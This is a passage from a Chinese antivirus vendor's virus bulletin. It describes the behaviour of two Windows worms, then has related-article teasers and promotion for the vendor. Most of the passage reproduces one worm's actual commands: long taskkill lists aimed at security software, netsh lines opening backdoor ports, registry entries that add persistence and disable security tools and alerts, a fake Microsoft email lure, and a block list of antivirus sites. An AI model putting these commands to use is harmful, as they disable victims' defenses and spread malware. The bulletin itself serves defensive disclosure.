@taskkill /IM SAVE.exe /F
@taskkill /IM SAVENOW.exe /F
@taskkill /IM SBSERV.exe /F
@taskkill /IM SC.exe /F
@taskkill /IM SCAM32.exe /F
@taskkill /IM SCAN32.exe /F
@taskkill /IM SCAN95.exe /F
@taskkill /IM SCANPM.exe /F
@taskkill /IM SCRSCAN.exe /F
@taskkill /IM SETUPVAMEEVAL.exe /F
@taskkill /IM SETUP_FLOWPROTECTOR_US.exe /F
@taskkill /IM SFC.exe /F
@taskkill /IM SGSSFW32.exe /F
@taskkill /IM SH.exe /F
@taskkill /IM SHELLSPYINSTALL.exe /F
@taskkill /IM SHN.exe /F
@taskkill /IM SHOWBEHIND.exe /F
@taskkill /IM SMC.exe /F
@taskkill /IM SMS.exe /F
@taskkill /IM SMSS32.exe /F
@taskkill /IM SOAP.exe /F
@taskkill /IM SOFI.exe /F
@taskkill /IM SPERM.exe /F
@taskkill /IM SPF.exe /F
@taskkill /IM SPHINX.exe /F
@taskkill /IM SPOLER.exe /F
@taskkill /IM SPOOLCV.exe /F
@taskkill /IM SPOOLSV32.exe /F
@taskkill /IM SPYXX.exe /F
@taskkill /IM SREXE.exe /F
@taskkill /IM SRNG.exe /F
@taskkill /IM SS3EDIT.exe /F
@taskkill /IM SSGRATE.exe /F
@taskkill /IM SSG_4104.exe /F
@taskkill /IM ST2.exe /F
@taskkill /IM START.exe /F
@taskkill /IM STCLOADER.exe /F
@taskkill /IM SUPFTRL.exe /F
@taskkill /IM SUPPORT.exe /F
@taskkill /IM SUPPORTER5.exe /F
@taskkill /IM SVC.exe /F
@taskkill /IM SVCHOSTC.exe /F
@taskkill /IM SVCHOSTS.exe /F
@taskkill /IM SVSHOST.exe /F
@taskkill /IM SWEEP95.exe /F
@taskkill /IM SWEEPNET.SWEEPSRV.SYS.SWNETSUP.exe /F
@taskkill /IM SYMPROXYSVC.exe /F
@taskkill /IM SYMTRAY.exe /F
@taskkill /IM SYSEDIT.exe /F
@taskkill /IM SYSTEM.exe /F
@taskkill /IM SYSTEM32.exe /F
@taskkill /IM SYSUPD.exe /F
@taskkill /IM TASKMG.exe /F
@taskkill /IM TASKMO.exe /F
@taskkill /IM TASKMON.exe /F
@taskkill /IM TAUMON.exe /F
@taskkill /IM TBSCAN.exe /F
@taskkill /IM TC.exe /F
@taskkill /IM TCA.exe /F
@taskkill /IM TCM.exe /F
@taskkill /IM TDS-3.exe /F
@taskkill /IM TDS2-NT.exe /F
@taskkill /IM TEEKIDS.exe /F
@taskkill /IM TFAK.exe /F
@taskkill /IM TFAK5.exe /F
@taskkill /IM TGBOB.exe /F
@taskkill /IM TITANIN.exe /F
@taskkill /IM TITANINXP.exe /F
@taskkill /IM TRACERT.exe /F
@taskkill /IM TRICKLER.exe /F
@taskkill /IM TRJSCAN.exe /F
@taskkill /IM TRJSETUP.exe /F
@taskkill /IM TROJANTRAP3.exe /F
@taskkill /IM TSADBOT.exe /F
@taskkill /IM TVMD.exe /F
@taskkill /IM TVTMD.exe /F
@taskkill /IM UNDOBOOT.exe /F
@taskkill /IM UPDAT.exe /F
@taskkill /IM UPDATE.exe /F
@taskkill /IM UPDATE.exe /F
@taskkill /IM UPGRAD.exe /F
@taskkill /IM UTPOST.exe /F
@taskkill /IM VBCMSERV.exe /F
@taskkill /IM VBCONS.exe /F
@taskkill /IM VBUST.exe /F
@taskkill /IM VBWIN9X.exe /F
@taskkill /IM VBWINNTW.exe /F
@taskkill /IM VCSETUP.exe /F
@taskkill /IM VET32.exe /F
@taskkill /IM VET95.exe /F
@taskkill /IM VETTRAY.exe /F
@taskkill /IM VFSETUP.exe /F
@taskkill /IM VIR-HELP.exe /F
@taskkill /IM VIRUSMDPERSONALFIREWALL.exe /F
@taskkill /IM VNLAN300.exe /F
@taskkill /IM VNPC3000.exe /F
@taskkill /IM VPC32.exe /F
@taskkill /IM VPC42.exe /F
@taskkill /IM VPFW30S.exe /F
@taskkill /IM VPTRAY.exe /F
@taskkill /IM VSCAN40.exe /F
@taskkill /IM VSCENU6.02D30.exe /F
@taskkill /IM VSCHED.exe /F
@taskkill /IM VSECOMR.exe /F
@taskkill /IM VSHWIN32.exe /F
@taskkill /IM VSISETUP.exe /F
@taskkill /IM VSMAIN.exe /F
@taskkill /IM VSMON.exe /F
@taskkill /IM VSSTAT.exe /F
@taskkill /IM VSWIN9XE.exe /F
@taskkill /IM VSWINNTSE.exe /F
@taskkill /IM VSWINPERSE.exe /F
@taskkill /IM W32DSM89.exe /F
@taskkill /IM W9X.exe /F
@taskkill /IM WATCHDOG.exe /F
@taskkill /IM WEBDAV.exe /F
@taskkill /IM WEBSCANX.exe /F
@taskkill /IM WEBTRAP.exe /F
@taskkill /IM WFINDV32.exe /F
@taskkill /IM WHOSWATCHINGME.exe /F
@taskkill /IM WIMMUN32.exe /F
@taskkill /IM WIN-BUGSFIX.exe /F
@taskkill /IM WIN32.exe /F
@taskkill /IM WIN32US.exe /F
@taskkill /IM WINACTIVE.exe /F
@taskkill /IM WINDOW.exe /F
@taskkill /IM WINDOWS.exe /F
@taskkill /IM WININETD.exe /F
@taskkill /IM WININIT.exe /F
@taskkill /IM WININITX.exe /F
@taskkill /IM WINLOGIN.exe /F
@taskkill /IM WINMAIN.exe /F
@taskkill /IM WINNET.exe /F
@taskkill /IM WINPPR32.exe /F
@taskkill /IM WINRECON.exe /F
@taskkill /IM WINSERVN.exe /F
@taskkill /IM WINSSK32.exe /F
@taskkill /IM WINSTART.exe /F
@taskkill /IM WINSTART001.exe /F
@taskkill /IM WINTSK32.exe /F
@taskkill /IM WINUPDATE.exe /F
@taskkill /IM WKUFIND.exe /F
@taskkill /IM WNAD.exe /F
@taskkill /IM WNT.exe /F
@taskkill /IM WRADMIN.exe /F
@taskkill /IM WRCTRL.exe /F
@taskkill /IM WSBGATE.exe /F
@taskkill /IM WUPDATER.exe /F
@taskkill /IM WUPDT.exe /F
@taskkill /IM WYVERNWORKSFIREWALL.exe /F
@taskkill /IM XPF202EN.exe /F
@taskkill /IM ZAPRO.exe /F
@taskkill /IM ZAPSETUP3001.exe /F
@taskkill /IM ZATUTOR.exe /F
@taskkill /IM ZONALM2601.exe /F
@taskkill /IM ZONEALARM.exe /F
@taskkill /IM _AVP32.exe /F
@taskkill /IM _AVPCC.exe /F
@taskkill /IM _AVPM.exe /F
@taskkill /IM CMD.exe /F
@taskkill /IM TASKMGR.EXE /F
@taskkill /IM NEC.EXE /F

F 覆盖C:WINDOWSSystem32Firewall.bat文件，来打开防火墙的各种设置
@netsh firewall add portopening tcp 7 Echo
@netsh firewall add portopening tcp 443 HTTPS
@netsh firewall add portopening tcp 445 Echo Request
@netsh firewall add portopening tcp 135 File Sharing
@netsh firewall add portopening tcp 137 File Sharing
@netsh firewall add portopening tcp 139 File Sharing
@netsh firewall add portopening tcp 110 POP3
@netsh firewall add portopening tcp 109 POP2
@netsh firewall add portopening tcp 21 FTP
@netsh firewall add portopening tcp 20 FTP-Data
@netsh firewall add portopening tcp 25 SMTP
@netsh firewall add portopening tcp 23 Telnet
@netsh firewall add portopening tcp 22 SSH
@netsh firewall add portopening tcp 80 HTTP
@netsh firewall add portopening tcp 8080 HTTP Proxy
@netsh firewall add portopening tcp 5554 Backdoor
@netsh firewall add portopening tcp 1080 Proxy
@netsh firewall add portopening tcp 3389 Remote Destop
@netsh firewall add portopening tcp 4899 Remote Administrator
@netsh firewall add portopening tcp 5800 VNC
@netsh firewall add portopening tcp 5900 VNC
@netsh firewall add portopening tcp 6667 Backdoor
@netsh firewall add portopening tcp 42 WINS
@netsh firewall add portopening tcp 256 Firewall
@netsh firewall add portopening tcp 257 Firewall
@netsh firewall add portopening tcp 259 Firewall
@netsh firewall add portopening tcp 70 gopher
@netsh firewall add portopening tcp 79 Finger
@netsh firewall add portopening tcp 53 DNS
@netsh firewall add portopening tcp 258 Firewall
@netsh firewall add portopening tcp 1745 PPTP
@netsh firewall add portopening tcp 1723 PPTP
@netsh firewall add portopening udp 69 UDP
@netsh firewall add portopening udp 53 DNS Server
@netsh firewall add portopening udp 1810 IAS
@netsh firewall add portopening udp 1811 IAS

G 增加注册表项
"WINLOGON" = "wscript.exe C:WindowsSystem32WINLOGON.vbs %"
"Tasmgr" = "C:WINDOWSSystem32Taskmgr.bat"
"Firewall" = "C:WINDOWSSystem32Firewall.bat"
到注册表的
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionRun
使得病毒在每次开机后自动执行和破坏
H 增加注册表项
"Event17" = "dcc send $nick C:VircSexy Girls.mpg.vbs"
到注册表的
HKEY_CURRENT_USER.DefaultSoftwareMeGaLiTh SoftwareVisual IRC 96Events
使得病毒通过IRC频道传播
I增加注册表项
"1" = "regedit.exe"
"2" = "regedt32.exe"
"3" = "taskmgr.exe"
"4" = "wuauclt1.exe"
"5" = "wuauclt.exe"
"6" = "wupdmgr.exe"
"7" = "vptray.exe"
"8" = "wupdmgr.exe"
"9" = "vpc32.exe"
"10" = "LUAll.exe"
到注册表的
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerDisallowRun
降低系统安全防范

J增加注册表项
"1" = "regedit.exe"
"2" = "regedt32.exe"
"3" = "taskmgr.exe"
"4" = "wuauclt1.exe"
"5" = "wuauclt.exe"
"6" = "wupdmgr.exe"
"7" = "vptray.exe"
"8" = "wupdmgr.exe"
"9" = "vpc32.exe"
"10" = "LUAll.exe"
到注册表的
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerDisallowRun
降低系统安全防范
K 增加注册表项
"DisableRegistryTools" = "1"
"DisableTaskMgr" = "1"
"NoVirtMemPage" = "1"
到注册表的
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
来禁用一些安全软件
L增加注册表项
"FirewallDisableNotify" = "1"
"FirewallOverride" = "1"
"UpdatesDiasbleNotify" = "1"
"AntivirusDisableNotify" = "1"
到注册表的
HKEY_LOCAL_MACHINESOFTWAREMicrosoftSecurity Center
降低系统安全防范
M增加注册表项"Disabled = "1"到注册表的
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldApp
N 增加注册表项"NoControlPanel" = "1"到注册表的
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
O增加注册表项"WinStationsDisabled" ="1"到注册表的
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon
P增加注册表项"AUOptions = "1"到注册表的
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionWindowsUpdateAuto Update
Q增加注册表项"DomainProfile" = "1"到注册表的
HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsFirewall
R增加注册表项"EnableFirewall" = "1"到注册表的
HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsFirewallStandardProfile
S增加注册表项"DisableNotifications" = "1" 、"EnableFirewall" = "0"到注册表的
HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesSharedAccessParametersFirewallPolicyStandardProfile
T增加注册表项"ServiceUpgrade" = "0"到注册表的
HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesSharedAccessSetup
U增加注册表项"wscsvc" = "4"到注册表的
HKEY_LOCAL_MACHINESystemCurrentControlSetServices
V增加注册表项"Start" = "4"到注册表的
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesShareAccess
W 删除注册表
HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesHTTPFilterParametersdescription
X 搜寻Windows地址簿发送病毒邮件
标题: Your Microsoft Firewall Help
内容：Microsoft found a problem in your last update with your Windows Firewall. To fix the problem you must install the attached file.
Microsoft (R)
http://windowsupdate.microsoft.com
附件: WINLOGON.vbs
Y 如果系统中安装了IRC，发送c:windowssystemporno.vbs到所有的IRC 频道
Z 修改所有在C:WindowsInf 目录中扩展名为.iis 的文件，增加一行文本：
Source: C:WINDOWSSystem32WINLOGON.vbs; DestDir: {app}; Flags: ignoreversion
AA 关闭以下地址的计算机
1. 192.168.1.15
2. 192.168.1.16
3. 192.168.1.17
4. 192.168.1.18
5. 192.168.1.19
6. 192.168.1.20
7. 192.168.1.21
8. 192.168.1.22
9. 192.168.1.23
10. 192.168.1.24
11. 192.168.1.25
12. 192.168.1.26
13. 192.168.1.27
14. 192.168.1.28
15. 192.168.1.29
16. 192.168.1.30
17. 192.168.1.31
18. 192.168.1.32
19. 192.168.1.33
20. 192.168.1.34
21. 192.168.1.35
22. 192.168.1.36
23. 192.168.1.37
24. 192.168.1.38
25. 192.168.1.39
26. 192.168.1.40
27. 192.168.1.41
28. 192.168.1.42
29. 192.168.1.43
30. 192.168.1.44
31. 192.168.1.45
32. 192.168.1.46
33. 192.168.1.47
34. 192.168.1.101
35. 192.168.1.102
36. 192.168.1.103
37. 192.168.1.104
38. 192.168.1.105
39. 192.168.1.106
40. 192.168.1.107
41. 192.168.1.108
42. 192.168.1.109
43. 192.168.1.111
44. 192.168.1.112
45. 192.168.1.113
46. 192.168.1.114
47. 192.168.1.115
48. 192.168.1.116
49. 192.168.1.117
50. 192.168.1.118
51. 192.168.1.119
52. 192.168.1.120
53. 192.168.15.100
54. 192.168.15.101
55. 192.168.15.102
56. 192.168.15.103
57. 192.168.15.104
58. 192.168.15.105
59. 192.168.15.106
60. 192.168.15.107
61. 192.168.15.108
62. 192.168.15.109
63. 192.168.15.111
64. 192.168.15.112
65. 192.168.15.113
66. 192.168.15.114
67. 192.168.15.115
68. 192.168.15.116
69. 192.168.15.117
70. 192.168.15.118
71. 192.168.15.119
72. 192.168.15.120
AB 屏蔽以下网站的访问
www.symantec.com
securityresponse.symantec.com
symantec.com
www.sophos.com
sophos.com
www.mcafee.com
mcafee.com
liveupdate.symantecliveupdate.com
www.viruslist.com
viruslist.com
viruslist.com
f-secure.com
www.f-secure.com
kaspersky.com
kaspersky-labs.com
www.avp.com
www.kaspersky.com
avp.com
www.networkassociates.com
networkassociates.com
www.ca.com
ca.com
mast.mcafee.com
my-etrust.com
www.my-etrust.com
download.mcafee.com
dispatch.mcafee.com
secure.nai.com
nai.com
www.nai.com
update.symantec.com
updates.symantec.com
us.mcafee.com
liveupdate.symantec.com
customer.symantec.com
rads.mcafee.com
trendmicro.com
www.trendmicro.com
www.grisoft.com
www.microsoft.com
microsoft.com
www.msn.com
www.virustotal.com
virustotal.com
www.oxyd.fr
oxyd.fr
www.t35.com
t35.com
www.t35.net
t35.net
www.norton.com
www.sarc.com
downloads-us1.kaspersky-labs.com
updates1.kaspersky-labs.com
updates2.kaspersky-labs.com
updates3.kaspersky-labs.com
downloads1.kaspersky-labs.com
downloads2.kaspersky-labs.com
downloads3.kaspersky-labs.com
ftp.downloads1.kaspersky-labs.com
ftp.downloads2.kaspersky-labs.com
ftp.downloads3.kaspersky-labs.com
ftp.symantec.com
windowsupdate.microsoft.com
officeupdate.microsoft.com
www.kddi.de
www.uni-cert.nl
www.sarc.com
www.thesecure.net
www.downloads.com
www.spacelink.com.au
www.akonix.com
www.linknet.com.au
www.techzoom.net
content.tibs.at
www.corsaire.com
jp.fujitsu.com
www.tmsr.net
www.kp24.de
www.headliner.org
newsflash.nifty.com
www.cjmtechs.com
www.yuikee.com.hk
www.hackzona.ru
www.xpect.ch
computers.yahoo.co.jp
kuro.nobody.jp
citadelle.intrinsec.com
computer.msn.co.jp
www.south.rit.ac.th
d.hatena.ne.jp
www.oct-net.ne.jp
bbs.whnet.edu.cn
www.tac.cz
omakase.jp
stats.epiknet.org
www.alter-net.com
sid.softek.co.jp
news.goo.ne.jp
www.fken.ise.osaka-sandai.ac.jp
www.rolan.si
www.searchready.co.uk
192.168.1.1
192.168.15.1
AC 执行C:WINDOWSSystem32Firewall.bat.
AD 显示对话框
 

光华反病毒软件已经及时对这种病毒进行了处理，请用户升级后，使用光华反病毒软件清除。

2、Win32病毒W32.Cabreck 危害级别：★★☆☆☆
根据光华反病毒研究中心专家介绍，这是一个Win32病毒，长度为12,288字节，感染Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP系统。它通过网络共享传播；当收到、打开此病毒时，，有以下危害：
A 显示对话框
 
B增加注册表项"run" = "Cable.exe"到注册表的
HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows使得病毒在每次开机后自动执行
C 复制自身到以下目录的
系统驱动目录
Windows目录
当前目录
[本地共享目录]
以下文件
Cable.exe
FileCryptor.exe
Microsoft SP4.exe
Acrobat Reader Setup.exe
NAI Mcafee.exe
Norton AV.exex
PGP Free.exe
Password recovery.exe
KazzaP2P.exe
Download accelerator.exe
Linux Source.exe
Winzip.exe
Lotus app.exe
Netscape.exe
Money Manger.exe
Paypal.exe
FixMydoom.exe
BillSux.exe
MorpheusP2P.exe
E_donkey.exe
Calvin and Hobbes.exe
D 搜索网络共享，复制病毒到共享中的以下命名的文件
Cable.exe
FileCryptor.exe
Microsoft SP4.exe
Acrobat Reader.exe
Setup.exe
NAI Mcafee.exe
Norton AV.exex
PGP Free.exe
Password recovery.exe
KazzaP2P.exe
Download accelerator.exe
Linux Source.exe
Winzip.exe
Lotus app.exe
Netscape.exe
Money Manger.exe
Paypal.exe
FixMydoom.exe
BillSux.exe
MorpheusP2P.exe
E_donkey.exe
Calvin and Hobbes.exe
E 增加以下内容到Windows目录的win.ini 和cable.ini文件
Origin= India
Type= Netwreck Worm
Credicts= [Cable] By Gabe (Gabe Roq's Inc.)
Warning= Amazing things will happen, you just wait...
Note= Your Death is comming...Anticipation afterall is everything!
SignNote= Because Death is only the beginning...
Quote= For those who believe no explanation is necessary, for those who don't nothing will suffice.

北京日月光华软件公司网站（www.viruschina.com）每日进行病毒特征码更新，光华反病毒研究中心专家提醒您：请尽快到光华安全网站在线订购光华反病毒软件来防范病毒的入侵，时刻保护您的电脑安全。光华反病毒软件用户升级到6月20日的病毒库就可以完全查杀这些病毒。

相关推荐

光华反病毒资讯：6月13日-6月19日

　　光华反病毒研究中心近日进行病毒特征码更新，请用户尽快到光华网站www.viruschina.com下载升级包，以下是几个重要病毒的简介：1、后门病毒：Backdoor.Nibu.K危害级别：★★★☆☆根据光华反病毒研究中心专家介绍，该病毒长度为25,040字节，感染Windows 2000, W...

病毒预警光华反病毒资讯7月4日－10日

　　光华反病毒研究中心近日进行病毒特征码更新，请用户尽快到光华网站www.viruschina.com下载升级包，以下是几个重要病毒的简介： 一、宏病毒：W97M.Enife 危害级别：★★★★☆ 根据光华反病毒研究中心专家介绍，该病毒长度 2,433 字节，感染Windows 2000, Wind...

光华反病毒研究中心病毒资讯

尤其是节日期间可能会有些病毒伪装为各种各样的祝福信息，通过电子邮件、即时通讯软件等途径进行传播，这种情况在过去的几年中已经屡见不鲜。同时，北京日月光华软件公司于近日截获多种新型病毒，请大家特别加以注意，小心防范。需要指出的是现在病毒的危害范围已不仅仅局限于电脑平台，此次截获的病毒中就包括一种针对智能...

光华反病毒软件“蝴蝶大盗”无处藏身

　　“蝴蝶大盗”就是一个游戏盗号木马，具有强大的信息窃取、远程监控功能。“蝴蝶大盗”木马通过http://ip.loveroot.com/showip.php获得感染机器的IP信息，进行用户的计算机后，计算机的系统就会被感染。“蝴蝶大盗”运行后会将自身复制到系统目录下，文件名保持不变，在系统安装目录...

光华反病毒软件 办公人员的最佳伴侣

一个没有有效使用电脑的企业绝对称不上现代化管理的企业。入侵企业的计算机，将病毒与木马注入其内，然后盗取企业的内部的机密资料，从而造成企业的重大损失。而最为常见的，就是宏病毒。　　提起办公软件，人们都会联想起微软公司开发的Word,Excel,PowerPoint等Office一系列产品。众所周知，这...

光华反病毒软件---网游账号保护技巧

“木马”——使广大玩家们用心血换来的劳动成果在一息间荡然无存的恶魔。我们在痛恨它，唾弃它的同时，必须对它有一定的了解，并掌握一些解决的方法，这样以后在游戏的过程中自己的心血才不会被“木马”摧毁！一个完整的“木马”程序包含了两部分：“服务器端”和“控制器端”。只要程序运行病毒就会频繁的搜索“传奇客户端...

新一代——光华反病毒软件上市啦！

　　北京日月光华公司正式发布消息，由著名反病毒专家刘杰主持研发的新一代杀毒软件——光华反病毒软件经过严格测试，于今日全面上市。北京日月光华软件有限责任公司是一家以专业研究、开发、生产、销售计算机信息安全产品为主的高新技术企业，产品包括反病毒软件、防火墙、数据修复、漏洞扫描和入侵监测等安全产品。

杀毒软件市场的选择《光华反病毒软件》

随着北京日月光华公司市场推广力度的加大，用户认可度、美誉度得到了极大的提升，光华反病毒软件更是于本周，在天极下载站软件下载排行榜高居榜首，独占鳌头！这对于一款上市刚刚半年的杀毒软件来说，真可谓成绩不俗，非同凡响。并且，光华反病毒软件成功通过全部标准评测，获得微软公司颁发的在产品的包装和市场宣传品上使...

小网虫的保护伞光华反病毒使用技巧

一道优秀的防火墙，将能为广大家庭网络用护提供强大的保护伞。光华反病毒就是这样一款优秀的安全软件，简单的设置下隐藏着极其强大的功能。仅从基本设置，光华的防毒功能已经可见一斑，但这只是开始，更强的在后边。与之相比，绿色上网插件要阻止的是各类网络组件的提示下载和强制安装，光华在这方面并...

光华 光通 携手打造网络游戏安全护盾

　　北京日月光华软件所开发推出的《光华反病毒》软件，是一款非常出色的反病毒软件。光通所代理的《传奇3》是目前国内最为流行的网络游戏之一，针对《传奇3》的盗号程序和木马程序也层出不穷，光通的客服部门一直有着很大的压力。此次光通则希望通过与光华的合作，可以一起解决网络游戏盗号的问题。

热榜

盒子游戏,游戏玩家专属个性阅读社区

©CopyRight 2010- 2020 BOXUU.COM Inc All Rights Reserved

鄂公网安备 35020302000061号- 鄂ICP备2020015574号-1